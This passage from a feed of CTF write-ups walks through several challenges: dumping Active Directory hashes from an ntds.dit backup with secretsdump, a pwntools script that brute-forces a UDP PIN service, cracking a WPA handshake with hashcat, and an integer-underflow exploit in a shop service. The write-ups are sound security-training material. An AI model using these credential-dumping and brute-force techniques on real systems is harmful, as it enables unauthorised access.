&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--81-RksiO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jpdias.me/images/xmas22/nanogram.png" width="710" height="999"&gt;&lt;/center&gt;

&lt;blockquote&gt;
&lt;p&gt;Attachment: flag.zip&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So we have another &lt;em&gt;random&lt;/em&gt; one! Also, it was more easy than it should because I know someone that spends a &lt;strong&gt;&lt;em&gt;lot&lt;/em&gt;&lt;/strong&gt; of time playing this. This is Nonogram game (it is available on the Play Store). I did not spend any time solving it manually, but going to an &lt;a href="https://fedimser.github.io/nonogram.html" rel="noopener noreferrer"&gt;online solver&lt;/a&gt; was a breeze.&lt;/p&gt;

&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--s3aamLGG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jpdias.me/images/xmas22/solved.png" width="605" height="681"&gt;&lt;/center&gt;

&lt;p&gt;And we got ourselves a Pacman, or pacman, or pac man, or… well, after some trial and error, and checking the correct name online, it was pac-man the password of the zip file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt; : &lt;code&gt;flag{bread_bread_cheese_cheese}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Back Me UP! (400 pts)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Someone left backups of a Domain Controller in an open share. A portion was extracted from the backup and myth be told that it contains critical information (and a flag ;) ). Can you get it?&lt;/p&gt;

&lt;p&gt;Attachment: AD_backup.zip&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So we have a ZIP file with a &lt;code&gt;registry&lt;/code&gt; folder and a &lt;code&gt;ntds.dit&lt;/code&gt; file. Trying to solve this challenge in a Linux machine (since my Windows VM refused to boot), I found out that &lt;code&gt;Impacket&lt;/code&gt; script collection has a &lt;code&gt;secretsdump.py&lt;/code&gt; to dump sensitive info from registry file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ secretsdump.py -ntds ~/Projects/oposec-christmas-22/Active\ Directory/ntds.dit -system ~/Projects/oposec-christmas-22/registry/SYSTEM -security ~/Projects/oposec-christmas-22/registry/SECURITY local
Impacket v0.10.1.dev1+20221214.172823.8799a1a2 - Copyright 2022 Fortra

[*] Target system bootKey: 0x5fb07a625512cd828efd1eb75ab24c1c
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:4f790a53e86a5b4498a70b18eb3fec2c27cd40ad444a88808ea02fc2bdc88a507c1dd9fa04d86ae44be8641adb0cc46ad6fcadd1dedf04903b3be9c792b0d368a59e57a1616c2548fdabe842665c6c0b8d31dbf0a24cd3d4887e334e95ea051481c41a15ed7abf849cf9ae7361f30913cbf92e0e31d205bf1943b09181d4c8373884c3ce1cd311b5bcc35dbb3d810689170abdc0386ffd62ef663b2b7dd9b97c417753bddef4e11142a49049b75939d0db71b7f0e0c17ec5305a680fd6de4d769d060679668859e3ec3d5139a980371d5d4e0fca5ae7a2a28f185c76cd42e12ab994b4aa0547f547d71394577d382457
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:870dc1dcd1b50a8f04472485c3e445c1
[*] DefaultPassword 
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x63d8fb27d7efe53e156719dc2e8dce0aad846543
dpapi_userkey:0x48a4390382dc50a00c7244cf23a3567a002b4e2d
[*] NL$KM 
 0000 1D 05 A6 71 87 FE 0C 45 DC 84 3F DD BB 18 ED C9 ...q...E..?.....
 0010 3E 83 1E E4 01 CB 1F 55 8A C1 C9 AA D0 57 0E D9 &amp;gt;......U.....W..
 0020 1B EB A1 25 99 6F D0 D0 D8 DF 5B 6D 56 23 F9 8E ...%.o....[mV#..
 0030 F5 40 C5 06 F0 E6 46 B1 2C 93 76 DE 0F 58 00 B8 .@....F.,.v..X..
NL$KM:1d05a67187fe0c45dc843fddbb18edc93e831ee401cb1f558ac1c9aad0570ed91beba125996fd0d0d8df5b6d5623f98ef540c506f0e646b12c9376de0f5800b8
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: db591b9546c39acc89bc2eb9d943a927
[*] Reading and decrypting hashes from /home/jpdias/Projects/oposec-christmas-22/Active Directory/ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ac1dbef8523bafece1428e067c1b114f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-AG9BSPKRNKB$:1001:aad3b435b51404eeaad3b435b51404ee:870dc1dcd1b50a8f04472485c3e445c1:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4dbcaca1dfa95d13b246c66a6fee6c7f:::
user10:1104:aad3b435b51404eeaad3b435b51404ee:ac1dbef8523bafece1428e067c1b114f:::
maria:1105:aad3b435b51404eeaad3b435b51404ee:ac1dbef8523bafece1428e067c1b114f:::
john:1106:aad3b435b51404eeaad3b435b51404ee:ac1dbef8523bafece1428e067c1b114f:::
thomas:1107:aad3b435b51404eeaad3b435b51404ee:ac1dbef8523bafece1428e067c1b114f:::
sneakyuser:1108:aad3b435b51404eeaad3b435b51404ee:ac1dbef8523bafece1428e067c1b114f:::
[*] Kerberos keys from /home/jpdias/Projects/oposec-christmas-22/Active Directory/ntds.dit 
WIN-AG9BSPKRNKB$:aes256-cts-hmac-sha1-96:105437447f915bb677f66b5ec17dab9ae9700dfb5b068d8d52e959c1dd378ac2
WIN-AG9BSPKRNKB$:aes128-cts-hmac-sha1-96:6d800550e0fbfdeb42cd1fb013b71222
WIN-AG9BSPKRNKB$:des-cbc-md5:b04561fe194cb534
krbtgt:aes256-cts-hmac-sha1-96:7cbaa71e3119169ec41d642bc9ce7fd3a0e408ee4e1d7865c62edf311b018218
krbtgt:aes128-cts-hmac-sha1-96:897496dd3737a6523b63e04b2d275b8a
krbtgt:des-cbc-md5:6b7a91d940a77a2f
user10:aes256-cts-hmac-sha1-96:38b0bd0f4366e1ec84c22da5a44f3222ceabfe3a4bb0556ef1ca036b9207779f
user10:aes128-cts-hmac-sha1-96:1098796a633a40dfb761ffe4ba4e8ab4
user10:des-cbc-md5:6bc8d97c92e31c13
maria:aes256-cts-hmac-sha1-96:28652e7eb642c5fb72dc6319c8277c548d4e047edde7d47cb7146a807c76110e
maria:aes128-cts-hmac-sha1-96:e1a1949b1e209c833b49aa8e974da8ee
maria:des-cbc-md5:758cd9dab07a5151
john:aes256-cts-hmac-sha1-96:252973000b5100f74fa1e86416fa70ff4114b0310ef774e126a9659d4780d7d3
john:aes128-cts-hmac-sha1-96:2beef7900a25e473a9448a0cfedcfbe3
john:des-cbc-md5:15524949b39279f7
thomas:aes256-cts-hmac-sha1-96:80efbc413a0b3a4f6b0669a055543591b30fb6dfbd0ea086fbccf5829adce7c8
thomas:aes128-cts-hmac-sha1-96:a4f3d94c073cda99a452e89a42ecf124
thomas:des-cbc-md5:bcdcd9e9cbb9d3c1
sneakyuser:aes256-cts-hmac-sha1-96:6e06d087eda3b232a7d03624154a8117f09635e8f49450b7c18e92d37b4694cb
sneakyuser:aes128-cts-hmac-sha1-96:71b81137f9c21e242b67e7552065e8f9
sneakyuser:des-cbc-md5:d092ce91ba029104
[*] Cleaning up... 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we have a lot of info, but no flag. After some more searching and messing around I found out that we can dump the tables from the &lt;code&gt;ntds.dit&lt;/code&gt; file&lt;sup id="fnref:1"&gt;1&lt;/sup&gt;. This will create a new directory, called &lt;code&gt;ntds.dit.export&lt;/code&gt; with the dumped tables.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ esedbexport -m tables Active\ Directory/ntds.dit
esedbexport 20220806

Opening file.
Database type: Unknown.
Exporting table 1 (MSysObjects) out of 13.
Exporting table 2 (MSysObjectsShadow) out of 13.
Exporting table 3 (MSysObjids) out of 13.
Exporting table 4 (MSysLocales) out of 13.
Exporting table 5 (datatable) out of 13.
Exporting table 6 (hiddentable) out of 13.
Exporting table 7 (link_history_table) out of 13.
Exporting table 8 (link_table) out of 13.
Exporting table 9 (quota_rebuild_progress_table) out of 13.
Exporting table 10 (quota_table) out of 13.
Exporting table 11 (sdpropcounttable) out of 13.
Exporting table 12 (sdproptable) out of 13.
Exporting table 13 (sd_table) out of 13.
Export completed.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we have (hopefully) all the data extracted, we can just &lt;code&gt;grep&lt;/code&gt; and see if we get something.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ grep -rnw flag .

flag{ClearBackupsCanPwnU}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In a Windows machine you could use &lt;a href="https://github.com/MichaelGrafnetter/DSInternals" rel="noopener noreferrer"&gt;DSInternals&lt;/a&gt; to quickly dump all the data and find the flag more easily.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt; : &lt;code&gt;flag{ClearBackupsCanPwnU}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Network
&lt;/h2&gt;

&lt;h3&gt;
  
  
  867 CFR (100 pts)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;867 CFR is a protocol for sending data across networks. It is connectionless, meaning it does not establish a dedicated connection between sender and receiver. This makes it faster but less reliable than other transport protocols. 867 CFR is often used for real-time applications such as gaming and VoIP, and for low-overhead services like DNS. Weird stuff! Can you have a look? xx.isymra.22samxopo (344)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, 867 RFC, let’s do some reading. &lt;a href="https://www.rfc-editor.org/rfc/rfc867" rel="noopener noreferrer"&gt;Daytime Protocol&lt;/a&gt;, &lt;em&gt;A daytime service (UDP or TCP) simply sends a the current date and time as a character string without regard to the input.&lt;/em&gt; &lt;em&gt;…wut?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;And several hours have passed, and I was lost. Taking a break, and looking at it again, all made sense, everything is in reverse order! &lt;del&gt;OMFG so much time has been lost!&lt;/del&gt;&lt;/p&gt;

&lt;p&gt;So, again, RFC 768 describes User Datagram Protocol (UDP). Something familiar now! Let’s connect!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ nc -u opoxmas22.armysi.cc 443
a
}eep_eed_uoy{galf

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt; : &lt;code&gt;flag{you_dee_pee}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Who’s There? (200 pts)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;I do not have a physical body, but I am here to help you with any questions you may have, give me a PIN, and I will tell you what to do next!&lt;/p&gt;

&lt;p&gt;opoxmas22.example.com (22222) looks interesting!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We have a UDP based service that requests a PIN (let’s assume a 4 digit pin). So 10 000 possible combinations… Easy enough to do a script (with some timeout and retry logic because sometimes things went wrong).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from itertools import product
from pwn import *
encoding = 'utf-8'
# your list needs be all-characters
lst = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
a = ["".join(item) for item in product(lst, repeat=4)]

r = remote('opoxmas22.armysi.cc', 22222, typ="udp", timeout=1)
i = 0
while True:
    r.send(bytearray(a[i]+"\n", encoding))
    res = str(r.recv(timeout=2), encoding)
    if res == "":
        r.close()
        r = remote('opoxmas22.armysi.cc', 22222, typ="udp")
        r.send(bytearray(a[i]+"\n", encoding))
        res = str(r.recv(timeout=2), encoding)
        print(a[i], res)
    if res != "WRONG PIN!":
        print("PIN:", a[i], "\n&amp;gt;", res)
        while True:
            new_result = re.findall('[0-9]+', res)
            print(new_result)
            if(len(new_result) != 3):
                exit()
            r = remote('opoxmas22.armysi.cc', new_result[0], typ="udp")
            r.send(bytearray(new_result[2]+"\n", encoding))
            res = str(r.recv(timeout=2), encoding)
            print("&amp;gt;", res)

    i += 1
# interactive mode
r.close()
# r.interactive()

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And we have our first PIN, 0000 &lt;em&gt;puff&lt;/em&gt;… After guessing the PIN, the script enters in interactive mode, so we can do the rest manually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Opening connection to opoxmas22.armysi.cc on port 22222: Done
PIN: 0000 
&amp;gt; Opened port 26128 - Hurry you got 60 seconds!. Use this PIN - 4283
['26128', '60', '4283']
[+] Opening connection to opoxmas22.armysi.cc on port 26128: Done
&amp;gt; Opened port 24571 - Hurry you got 60 seconds!. Use this PIN - 8503
['24571', '60', '8503']
[+] Opening connection to opoxmas22.armysi.cc on port 24571: Done
&amp;gt; Flag{Kito_KitoWho?_MosKito}
[]
[*] Closed connection to opoxmas22.armysi.cc port 24571
[*] Closed connection to opoxmas22.armysi.cc port 26128
[*] Closed connection to opoxmas22.armysi.cc port 22222

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt; : &lt;code&gt;Flag{Kito_KitoWho?_MosKito}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  My Network is Secure! (300 pts)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Taberna belga said their free WiFi is secure because it has a password, however people are still getting passwords! How is this~possible?!&lt;/p&gt;

&lt;p&gt;Attachtment: SecureNet.pcap&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And now is time for some network capture stuff. But the network is “protected” with WPA-TKIP (i.e., WPA-1). Thus, we can break it, somehow. With &lt;a href="https://github.com/ZerBea/hcxdumptool" rel="noopener noreferrer"&gt;hcxdumptool&lt;/a&gt; we can dump the hash of the WiFi password in a &lt;a href="https://hashcat.net/hashcat/" rel="noopener noreferrer"&gt;hashcat&lt;/a&gt; compatible format:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ hcxpcaptool -z hash.txt SecureNet.pcap&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA*02*4ca8dcfc1ae47ae4c892d2cc25f4e1e5*907841398870*d6a78c062e85*5365637572654e65742057696669*3ca0a8709bf3a4dc5041041109b41f01565f7b5a30608ed4c02e5c4f523e4be3*01030077fe01090020000000000000000110f11a201a62f4f081e097ee34d8c20f84822bb6aa0ab4c0af3423657187dbf80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018dd160050f20101000050f20201000050f20201000050f202*02

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Running hashcat in a Google Colab&lt;sup id="fnref:2"&gt;2&lt;/sup&gt; we can harness the power of the free GPUs and quickly brute-force the hash using a dictionary (in the case, &lt;code&gt;rockyou.txt&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hashcat (v6.2.6-208-gcd8bff168) starting

nvmlDeviceGetFanSpeed(): Not Supported

CUDA API (CUDA 11.2)
====================
* Device #1: Tesla T4, 15007/15109 MB, 40MCU

OpenCL API (OpenCL 1.2 CUDA 11.2.109) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #2: Tesla T4, skipped

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Initializing backend runtime for device #1. Please be patient...tcmalloc: large alloc 1405091840 bytes == 0x5625daafa000 @ 0x7fc30b79e001 0x5625aec13c46 0x5625aec5d04d 0x5625aec0a45c 0x5625aec0adb2 0x5625aec05aff 0x7fc30a9d0c87 0x5625aec05b5a
Host memory required for this attack: 1470 MB

Dictionary cache built:
* Filename..: wordlists/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

4ca8dcfc1ae47ae4c892d2cc25f4e1e5:907841398870:d6a78c062e85:SecureNet Wifi:spiderman

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: QVuyxSZh
Time.Started.....: Sat Jan 7 22:08:10 2023 (0 secs)
Time.Estimated...: Sat Jan 7 22:08:10 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 345.9 kH/s (7.09ms) @ Accel:64 Loops:128 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 207722/14344384 (1.45%)
Rejected.........: 125802/207722 (60.56%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456789 -&amp;gt; 2deenero
Hardware.Mon.#1..: Temp: 63c Util: 48% Core:1230MHz Mem:5000MHz Bus:16

Started: Sat Jan 7 22:07:39 2023
Stopped: Sat Jan 7 22:08:11 2023

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And it’s cracked! &lt;code&gt;spiderman&lt;/code&gt; is the strong password in this one!&lt;/p&gt;

&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--qTs2xvl2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jpdias.me/images/xmas22/wireshark.png" width="800" height="558"&gt;&lt;/center&gt;

&lt;p&gt;Using &lt;code&gt;spiderman&lt;/code&gt; as the password in Wireshark we can see all the network traffic, and if we follow the only existing TCP connection, we can get our flag &lt;sup id="fnref:3"&gt;3&lt;/sup&gt;!&lt;/p&gt;

&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--58LlqjOL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jpdias.me/images/xmas22/wireshark1.png" width="800" height="334"&gt;&lt;/center&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt; : &lt;code&gt;flag{morestudy}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Wrap-up
&lt;/h2&gt;

&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--FYM4MmJe--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jpdias.me/images/xmas22/result.png" width="791" height="736"&gt;&lt;/center&gt;

&lt;p&gt;Another Xmas, another CTF. As always, kudos for the challenge makers, and to OPOSEC community. This was the final top 10, and yes, I just started playing late in the game due to time constrains. At the time of writing there is an &lt;a href="https://www.dropbox.com/s/dl/v5w1usx56uqwtjz/Once%20Upon%20a%20Time%20a%20Xmas%20Challenge.pdf" rel="noopener noreferrer"&gt;official write-up is available here&lt;/a&gt;.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/" rel="noopener noreferrer"&gt;Extracting Hashes and Domain Info From ntds.dit&lt;/a&gt; ↩&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://github.com/someshkar/colabcat" rel="noopener noreferrer"&gt;Colabcat: Run Hashcat on Google Colab with session restore capabilities with Google Drive&lt;/a&gt; ↩&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://kalitut.com/decrypt-wi-fi-traffic-wireshark/" rel="noopener noreferrer"&gt;How to decrypt wifi traffic wireshark&lt;/a&gt; ↩&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>hackrocks</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Portuguese Cybersecurity Competition CTF Write-up</title>
      <dc:creator>JP Dias</dc:creator>
      <pubDate>Thu, 08 Dec 2022 00:00:00 +0000</pubDate>
      <link>https://dev.to/jpdias/portuguese-cybersecurity-competition-ctf-write-up-54b6</link>
      <guid>https://dev.to/jpdias/portuguese-cybersecurity-competition-ctf-write-up-54b6</guid>
      <description>&lt;p&gt;Some weeeks ago I’ve participated in the “Portuguese Cybersecurity Competition” organized by &lt;a href="https://investamarante.com/" rel="noopener noreferrer"&gt;InvestAmarante&lt;/a&gt; and powered by &lt;a href="https://hackrocks.com/" rel="noopener noreferrer"&gt;hackrocks&lt;/a&gt;. Given that this was a begginer friendly (maybe too friendly…) Capture The Flag competition there were no major learning takeways, but it is always useful to pratice some old tricks and tools (&lt;em&gt;and do some over-engineering… as always&lt;/em&gt;).&lt;/p&gt;

&lt;p&gt;The &lt;del&gt;worst&lt;/del&gt; less good part of the CTF was that the challenges categories did not match the challenges content, and seemed purely random.&lt;/p&gt;

&lt;p&gt;I also want to give kudos &lt;a href="https://github.com/mluis/" rel="noopener noreferrer"&gt;mluis&lt;/a&gt; for the company as he also participated in the CTF, making things more fun! So let’s get to the write-up!&lt;/p&gt;

&lt;h2&gt;
  
  
  Strange Email
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;The text of the mail is as follows:&lt;/p&gt;

&lt;p&gt;Good morning! I would like to order, please, a T-shirt with the following image printed on it, since I am a big fan of computers…&lt;/p&gt;

&lt;p&gt;&lt;em&gt;000 111 0000 100 0001 0000 / 101 0000 111 000 / 0100 / 100 0110 / 10 0100 110 1101 100 000 000 0000 110 / 0100 1101 / 010 000 010 001 011 010&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Strange… that string doesn’t seem to make any sense in binary. However, if it is a help message, it is obvious that your messages could be monitored and therefore you must hide the real message somehow?&lt;/p&gt;

&lt;p&gt;Can you help us find the young man being held??&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So this was a cryto / obfuscation challenge. While I’ve lost more time than I’m proud to admit solving this challenge, this is pretty trivial if you consider that (1) the bits sequences do not follow any standard, i.e., no multiple of two, and (2) the separator &lt;code&gt;/&lt;/code&gt; gives it away. Nonetheless, my first attempt was to use &lt;a href="https://www.quipqiup.com/" rel="noopener noreferrer"&gt;quipqiup&lt;/a&gt; to solve it without any luck. Next I followed the &lt;em&gt;overengineering&lt;/em&gt; path and attempt to solve it using a &lt;a href="https://en.wikipedia.org/wiki/Bacon%27s_cipher" rel="noopener noreferrer"&gt;Bacon’s cypher&lt;/a&gt; without any luck.&lt;/p&gt;

&lt;p&gt;I’ve solved other challenges in the meanwhile, and given that this was the welcoming challenge, it cannot be that hard. Looking back at the visible &lt;em&gt;hints&lt;/em&gt;, if we replace: &lt;code&gt;0 -&amp;gt; .&lt;/code&gt; and &lt;code&gt;1 -&amp;gt; -&lt;/code&gt; we discover a plain old Morse message, that can be easy decoded using &lt;a href="https://gchq.github.io/CyberChef/" rel="noopener noreferrer"&gt;CyberChef&lt;/a&gt; or any other tool&lt;/p&gt;

&lt;p&gt;However the resulting letters does not making any sense… Maybe a little rotation solves the problem? ROT13 gave no results, but ROT23 (!?) worked perfectly!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcuhzg6szivsc8cscyr6d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcuhzg6szivsc8cscyr6d.png" width="800" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And the flag is &lt;code&gt;OPORTO&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Veracruz
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Here you have the &lt;strong&gt;Found files.zip&lt;/strong&gt;. Your mission will be to analyze these files and find out if there’s something wrong… Let’s go!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This was the trickiest one. Three files were inside the &lt;code&gt;files.zip&lt;/code&gt; archive:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;contenedor.pdf&lt;/code&gt;: &lt;del&gt;what I tought to be&lt;/del&gt; a corrupted PDF file. Using all the tricks to recover the file to a readable format didn’t succed. &lt;code&gt;binwalk&lt;/code&gt; also wasn’t able to extract anything from the file.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;README.txt&lt;/code&gt;: a TXT file with the following text: &lt;code&gt;Hi there, This PDF is the receipt for the encryptor we bought in Saimazoon.&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;algarve.jpg&lt;/code&gt;: A random photo. Using all the &lt;code&gt;steg&lt;/code&gt; tools (props to &lt;a href="//aperisolve.fr/"&gt;Aperi’solve&lt;/a&gt;) to extract information from the image did not provide anything.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;portugal1.jpg&lt;/code&gt;: Similar to the previous random picture, there was nothing within it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After spending some time messing around with it, and talking with &lt;em&gt;mluis&lt;/em&gt;, he suggested that it could be related with &lt;a href="https://www.veracrypt.fr/code/VeraCrypt/" rel="noopener noreferrer"&gt;Veracrypt&lt;/a&gt; (the challenge title says it all now…). So, assuming that the corrupted PDF file was the &lt;em&gt;vault&lt;/em&gt;, the keys must lie amongst the remaining files.&lt;/p&gt;

&lt;p&gt;After finding out that you can use files as partial keys to the vault, and with some trial and error, we found out that the &lt;code&gt;algarve.jpg&lt;/code&gt; was the keyfile, and the password string was extracted from the &lt;code&gt;README.txt&lt;/code&gt; file, being the location of the hypothetical delivery site, &lt;code&gt;Saimazoon&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This would give access to a text file with the flag, &lt;code&gt;SLINKWOIRU&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shopper
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Connect to the service, called &lt;strong&gt;shopper&lt;/strong&gt; , and try to exploit it:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;challenges.hackrocks.com:42421&lt;/strong&gt;** NOTE**: No other ports are part of this challenge.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Finally, a shell/service to play with! Connecting using &lt;code&gt;telnet&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;❯ telnet challenges.hackrocks.com 42421
Trying 95.216.99.248...
Connected to challenges.hackrocks.com.
Escape character is '^]'.
1. buy chocolate $1
2. buy token $100
your money $10
choose: 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we have a system that lets us buy chocolates for 1$! So messing around with the input must give us something. Attempting to simply crash the service with large values or strings did not give it away immediatilly.&lt;/p&gt;

&lt;p&gt;Once again, &lt;code&gt;mluis&lt;/code&gt; suggested using &lt;code&gt;MAX&lt;/code&gt; values, e.g. &lt;code&gt;MAX_INT&lt;/code&gt; or &lt;code&gt;MIN_INT&lt;/code&gt; given the inputs are always numeric. Doing that trick, giving the &lt;code&gt;MIN_INT&lt;/code&gt; as input to option &lt;code&gt;1&lt;/code&gt; (&lt;code&gt;-2147483648&lt;/code&gt;), we can have MAX MONEY:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. buy chocolate $1
2. buy token $100
your money $10
choose: 1
how much&amp;gt; -2147483648
1. buy chocolate $1
2. buy token $100
your money $2147483658
choose: 2
the token is: flag{n3gativ3_input_and_m0re_money}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And we get the flag: &lt;code&gt;flag{n3gativ3_input_and_m0re_money}&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ovlo
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;You will find the service at the following host: &lt;strong&gt;challenges.hackrocks.com:37881&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Ready? Then don’t waste your time and go ahead!&lt;br&gt;&lt;br&gt;
&lt;strong&gt;NOTE&lt;/strong&gt; : No other ports are part of this challenge.&lt;/p&gt;
&lt;/blockquote&gt;

